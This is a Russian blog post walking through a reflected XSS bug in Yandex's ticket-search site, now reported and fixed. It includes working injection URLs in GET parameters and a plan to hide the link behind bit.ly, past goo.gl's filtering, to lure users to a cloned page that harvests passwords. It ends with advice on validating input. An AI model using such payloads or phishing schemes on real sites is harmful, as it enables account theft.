Как стать автором
Обновить

Летаем вместе с Yandex! или XSS для самых маленьких

Время на прочтение2 мин
Количество просмотров2.7K
Небольшой пример использования уязвимостей на сайте Яндекса.

HOWTO:
1) Отправляем форму.
2) Играемся с GET-параметрами.
3) Находим тот, значение которого пишется в теле страницы.
4) Пробуем инжектировать js
5) ???
6) PROFIT!


Немного подробностей:



Заходим на форму поиска авиабилетов:
http://ticket.yandex.ru/variants/?


Видим массу сообщений об ошибках.


Подставляем немного волшебности в адресную строку:
http://ticket.yandex.ru/variants/?adult_seats=<script%20>&children_seats=</script><script>


Наблюдаем сломанную страничку.

Играемся с параметрами дальше, находим искомое, убираем лишние сообщения об ошибках:
http://ticket.yandex.ru/variants/?adult_seats=<script%20>&children_seats=</script>"SOME_TEXT<script>alert(1)</script>&klass=first&fromId=Москва&toId=Санкт-Петербург



Всё. Практически телемаркет.


Осталось лишь подобрать текст поубедительнее. Например такой:
http://ticket.yandex.ru/variants/?adult_seats=<script%20>&children_seats=</script>"Перейдите%20на%20<a%20href='http://google.com'>сайт%20нашей%20поддержки</a>%20для%20устранения%20проблемы.<script>alert(1)</script>&klass=first&fromId=Москва&toId=Санкт-Петербург





Длинноват URL получился, да? Ну, не страшно.
К слову сказать, goo.gl нам не поможет, т.к. детектит url с нехорошими словами.
Но конкуренции тут море, так что берем не такого умного bit.ly и получаем короткое bit.ly/KHEmsr

Теперь, к примеру, можно размещать в социальных сетях интересную ссылку на Яндекс, предварительно набросав
копию страницы поиска авиабилетов, с просьбой ввести пароль от всего что есть на свете…

Дальше, опять же, копать не стал.

PS: Данный пост написан исключительно в образовательных целях.

UPD: Написал письмо в техподдержку яндекса.

Краткие выводы:


  • Проверяйте GET параметры: если вы хотите получить city_name, то нет смысла оставлять "<, >, etc" в значении этого параметра. То же касается и значений типа int: строки там ни к чему.
  • Даже хорошие программисты порой допускают детские промахи.
  • Прежде чем опубликовать подобную статью не забывайте отписать в support, если вы white hat, конечно. (отдельное спасибо за напоминание об этом хабраюзеру TheAlien )


UPD2: баг пофиксили. эх, и никакого спасибо…
Теги:
Хабы:
0
Комментарии1

Публикации

Истории

Работа

Ближайшие события